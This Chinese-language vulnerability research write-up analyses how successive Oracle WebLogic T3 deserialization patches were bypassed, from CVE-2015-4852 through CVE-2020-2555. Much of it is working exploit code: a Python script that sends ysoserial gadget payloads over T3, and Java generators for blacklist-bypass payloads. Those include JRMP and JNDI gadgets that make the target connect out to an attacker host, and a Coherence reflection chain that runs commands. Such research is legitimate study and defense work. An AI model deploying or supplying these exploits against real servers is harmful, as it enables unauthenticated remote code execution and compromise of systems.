docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 . docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
将weblogic依赖的jar包拷贝出来并导入idea。
mkdir wlserver1036 docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./wlserver1036 docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/server/lib ./wlserver1036 docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
远程调试配置
t3是oracle对rmi的增强,和rmi一样在网络间传输时数据是序列化过的。文章的重点在于分析漏洞以及补丁为什么可以绕过,就不分析t3协议数据的格式了,在复现时我们只需要将生成的恶意序列化数据套在py模版中即可。如果有师傅想对weblogic体系及其t3协议的正常使用感兴趣推荐阅读 WebLogic安全研究报告 。
t3协议的传输过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject中读取并进行反序列化。
因为是t3第一洞所以可以看到ServerChannelInputStream的resolveClass并没有任何做防御。自带cc链
所以只需要把ysoserial的生成的payload嵌入t3协议即可。
import socket import sys import struct import re import subprocess import binascii def get_payload1(gadget, command): JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar' popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read() def get_payload2(path): with open(path, "rb") as f: return f.read() def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 12.2.3/nAS:255/nHL:19/nMS:10000000/n/n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头 flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志 payload = data_len + t3header + flag + payload payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度 sock.send(payload) if __name__ == "__main__": host = "127.0.0.1" port = 7001 gadget = "CommonsCollections1" #CommonsCollections1 Jdk7u21 command = "touch /tmp/CVE-2015-4852" payload = get_payload1(gadget, command) exp(host, port, payload)
补丁:2016年1月 p21984589_1036_Generic
修复方法是在resolveClass中引入了 ClassFilter.isBlackListed进行过滤,跟进weblogic.rmi.ClassFilter可以看到黑名单内容。
除此之外,另外几个反序列化点也被加了相同的过滤(不一一打开看了)。
反序列化两个关键点,一个是触发反序列化的点,二是gadget。现在反序列化触发点有了,后面的t3的cve就是绕黑名单的各种技巧了。
为了让后面的分析更具有说服力,这里以10.3.6为例说明如何打补丁。
docker run -it -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 /bin/bash docker cp /Users/cengsiqi/Downloads/p21984589_1036_Generic weblogic1036jdk7u21:/p21984589_1036_Generic docker exec -it weblogic1036jdk7u21 /bin/bash cd /p21984589_1036_Generic mv patch-catalog_23510.xml patch-catalog.xml cd /u01/app/oracle/middleware/utils/bsu ./bsu.sh -install -patch_download_dir=/p21984589_1036_Generic -patchlist=S8C2 -prod_dir=/u01/app/oracle/middleware/wlserver/ /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh
如果打补丁时出现如下错误需要自行把bsu.sh中的内存参数MEM_ARGS调大一点。
成功后截图如下
这时再尝试打会出现Unauthorized
weblogic.jms.common.StreamMessageImpl没在黑名单,在其反序列化时会读取一段数据并进行反序列化,我们可以把这段数据伪造成rce payload。
import weblogic.jms.common.StreamMessageImpl; import java.io.*; public class CVE_2016_0638 { public static void main(String[] args) throws IOException { byte[] payload = exec("CommonsCollections1", "touch /tmp/CVE_2016_0638"); StreamMessageImpl streamMessage = new StreamMessageImpl(payload); ser(streamMessage, "CVE_2016_0638.ser"); } public static byte[] exec(String gadget, String command) throws IOException { String[] cmd = {"java", "-jar", "/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar", gadget, command}; InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[4096]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } return baos.toByteArray(); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
乱入一个QA
Q:StreamMessageImpl可以过黑名单很好理解,但是为啥CommonsCollections1依旧可以成功,CommonsCollections1(org.apache.commons.collections.functors)不是在黑名单里面吗?
A:答案是ServerChannelInputStream没有过滤到org.apache.commons.collections.functors(废话)。细节是这样的:ServerChannelInputStream的resolveClass检验到是StreamMessageImpl,不在黑名单里面,通过。然后在反序列化流程中会调用StreamMessageImpl的readExternal,readExternal内部又new了新的ObjectInputStream(以后简称ois)并从缓冲区读反序列化数据再次调用readObject,这里原生的ois就是原生的resolveClass方法没有过滤。
补丁:2016年4月p22505423_1036_Generic
把原生的ois换成了FilteringObjectInputStream
weblogic.corba.utils.MarshalledObject不在黑名单中,并且在readResolve的时候会读取objBytes的值赋给新new的ois。那么我们在objBytes中放入rce payload即可。
import weblogic.jms.common.StreamMessageImpl; import java.io.*; public class CVE_2016_0638 { public static void main(String[] args) throws IOException { byte[] payload = exec("CommonsCollections1", "touch /tmp/CVE_2016_0638"); StreamMessageImpl streamMessage = new StreamMessageImpl(payload); ser(streamMessage, "CVE_2016_0638.ser"); } public static byte[] exec(String gadget, String command) throws IOException { String[] cmd = {"java", "-jar", "/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar", gadget, command}; InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[4096]; int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } return baos.toByteArray(); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
补丁:2016年10月 p23743997_1036_Generic
重写了resolveClass方法,加了过滤。
利用JRMPClient进行带外rce,这个技巧相信看过 橘子师傅shiro rce 的操作的师很熟悉了。
import socket import sys import struct import re import subprocess import binascii def get_payload1(gadget, command): JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar' popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE) return popen.stdout.read() def get_payload2(path): with open(path, "rb") as f: return f.read() def exp(host, port, payload): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) handshake = "t3 12.2.3/nAS:255/nHL:19/nMS:10000000/n/n".encode() sock.sendall(handshake) data = sock.recv(1024) pattern = re.compile(r"HELO:(.*).false") version = re.findall(pattern, data.decode()) if len(version) == 0: print("Not Weblogic") return print("Weblogic {}".format(version[0])) data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新 t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头 flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志 payload = data_len + t3header + flag + payload payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度 sock.send(payload) if __name__ == "__main__": host = "127.0.0.1" port = 7001 gadget = "JRMPClient" #CommonsCollections1 Jdk7u21 JRMPClient command = "192.168.1.3:8080" # payload = get_payload1(gadget, command) ) ) exp(host, port, payload)
补丁:p24667634_1036_Generic
官方的修复是新加resolveProxyClass,过滤java.rmi.registry.Registry
上面提到过滤了Registry,这样ysoserial中原生JRMPClient就打不了,但是仍然有多种办法bypass。
引用@ lpwd 师傅的话:
这个CVE廖也提交了绕过,他的绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry,从而绕过resolveProxyClass的判断。其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map
package ysoserial.payloads; import java.lang.reflect.Proxy; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import java.util.Map; @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Map> { public Map getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Map proxy = (Map) Proxy.newProxyInstance( JRMPClient.class.getClassLoader(), new Class[] { Map.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }
CVE-2017-3248的构造中把UnicastRef放入了Registry,其实用UnicastRef也能在反序列化的时候发起jrmp请求。这种方法要比替换接口的干脆很多。在ysoserial中加一个JRMPClient2
package ysoserial.payloads; import java.rmi.server.ObjID; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest") @Authors({ Authors.MBECHLER }) public class JRMPClient2 extends PayloadRunner implements ObjectPayload<UnicastRef> { public UnicastRef getObject ( final String command ) throws Exception { String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); return ref; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } }
补丁:2018年四月发布的p27395085_1036_Generic
UnicastRef在weblogic.utils.io.oif.WebLogicFilterConfig中加进了黑名单。
streamMessageImpl + jrmp代理类绕过。先来看payload
import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import weblogic.jms.common.StreamMessageImpl; import java.io.*; import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; public class CVE_2018_2893 { public static void main(String[] args) throws IOException { ObjID objID = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.1.3", 8080); UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); Object object = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler); StreamMessageImpl streamMessage = new StreamMessageImpl(serialize(object)); ser(streamMessage, "CVE_2018_2893.ser"); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } public static byte[] serialize(final Object obj) throws IOException { final ByteArrayOutputStream out = new ByteArrayOutputStream(); serialize(obj, out); return out.toByteArray(); } public static void serialize(final Object obj, final OutputStream out) throws IOException { final ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); } }
什么鬼?payload中用到的streamMessageImpl、Registry、UnicastRef不是已经被修复了吗?
我们来细看一下怎么修的。
streamMessageImpl的readExternal内部是拿给FilteringObjectInputStream过滤。
FilteringObjectInputStream只是对普通类的反序列化进行了拦截, 并没有对代理类进行拦截 。对你没看错,虽然在CVE-2017-3248后ServerChannelInoutStream类中的resolveProxyClass过滤了Registry,但是这里的FilteringObjectInputStream并没有实现resolveProxyClass过滤代理类。
那UnicastRef又为啥逃过一劫?我们来看UnicastRef在序列化的时候经历了什么。在上面的payload中UnicastRef传入了RemoteObjectInvocationHandler,RemoteObjectInvocationHandler继承自RemoteObject。在RemoteObject writeObject时只是写入UnicastRef的类名(并没有把他作为一个类序列化)然后调用UnicastRef的writeExternal。
UnicastRef又用到了LiveRef的write,写入了反序列化时需要反连的host和端口。
由此可见UnicastRef从始至终并没有作为一个类被反序列化,如果分析这个payload的resolve 时序会发现完全没有反序列化UnicastRef。 如果你分析序列化出来的数据会发现* UnicastRef**只是TC_BLOCKDATA而不是TC_CLASSDESC。
补丁:18年7月 p27919965_1036_Generic
这次修复把经过resolveClass的java.rmi.server.RemoteObjectInvocationHandler给过滤了。
再次引用@ lpwd 师傅的话:
根据前面的分析可知,我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换,就能继续绕过了。
那么这个类应该满足以下条件:
继承远程类:java.rmi.server.RemoteObject
不在黑名单里边(java.rmi.activation. 、sun.rmi.server.)
随便找了一下,符合条件的挺多的:
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub
import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.io.*; import java.rmi.server.ObjID; import java.util.Random; public class CVE_2018_3245 { public static void main(String[] args) throws IOException { ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint("192.168.1.3", 8080); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); ReferenceWrapper_Stub wrapperStub = new ReferenceWrapper_Stub(ref); ser(wrapperStub, "CVE_2018_3245.ser"); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
补丁:2018年8月 p28343311_1036_201808Generic
修复方法是添加更底层的java.rmi.server.RemoteObject。
这个洞是jndi注入。触发点在JtaTransactionManager。
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class CVE_2018_3191 { public static void main(String[] args) throws IOException { String jndiAddress = "rmi://192.168.1.3:1099/Exploit"; JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); jtaTransactionManager.setUserTransactionName(jndiAddress); ser(jtaTransactionManager, "CVE_2018_3191.ser"); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
补丁:2018年8月 p28343311_1036_Generic
Oracle Coherence组件存在漏洞,该组件默认集成在Weblogic12c及以上版本中(网上资料这么说的:web10.3.6也有只是默认没有启用,未验证)。
这个漏洞和cc5的构造有异曲同工之妙,触发点在BadAttributeValueExpException#readObject 中调用toString方法。
在Coherence组件中LimitFilter这个类刚好可以被序列化并且有toString这个方法。因为是反序列化,this.m_comparator和this.m_oAnchorBottom都可控。也就说 extractor.extract(``this``.m_oAnchorBottom)
完全可控(更严格的说m_comparator需要是ValueExtractor的实例并且和m_oAnchorBottom都需要可被序列化)。
我们来看一下有哪些满足条件的类实现了extract。
可以注意到com.tangosol.util.extractor.ReflectionExtractor#extract
它可以被序列化并且extract里面是一组反射操作。
其次注意到com.tangosol.util.extractor.ChainedExtractor#extract
里面是对extrator进行链式操作,说到这里已经可以看出来是和cc链一个套路了。
这里我是在windows上复现的(
后来发现linux环境是7u21这个版本的BadAttributeValueExpException并没有readObject方法,另外不需要用完整示例安装默认安装即可)。
import com.tangosol.util.ValueExtractor; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; public class CVE_2020_2555 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { //String cmd = "touch /tmp/CVE_2020_2555_12013"; String cmd ="calc.exe"; ValueExtractor[] valueExtractors = new ValueExtractor[]{ new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}), new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}), //new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", cmd}}) new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", cmd}}) }; // chain LimitFilter limitFilter = new LimitFilter(); limitFilter.setTopAnchor(Runtime.class); BadAttributeValueExpException expException = new BadAttributeValueExpException(null); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors)); Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); m_oAnchorTop.setAccessible(true); m_oAnchorTop.set(limitFilter, Runtime.class); Field val = expException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(expException, limitFilter); ser(expException, "./CVE_2020_2555_12013.ser"); } public static void ser(Object obj, String serName) throws IOException { File file = new File(serName); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(obj); System.out.println("-------序列化成功" + serName); } }
图片来自 ZDL (侵删)可以看到是删了extractor.extract
疏理完一遍之后,我们得以看到整个绕过思路的全貌。我主观分为三个阶段。
从WebLogic看反序列化漏洞的利用与防御
Java 序列化之 Externalizable
Weblogic漏洞调试笔记
如何控制开放HTTPS服务的weblogic服务器
Weblogic CVE-2016-0638 StreamMessageImpl反序列化绕过分析
Patch S8C2 is mutually exclusive and cannot coexist with patch(es): ZLNA,EJUW
Weblogic JRMP反序列化漏洞回顾
CVE-2018-2893:Oracle WebLogic Server 远程代码执行漏洞分析预警
漫谈 Weblogic CVE-2020-2555
Oracle Coherence 反序列化漏洞分析(CVE-2020-2555)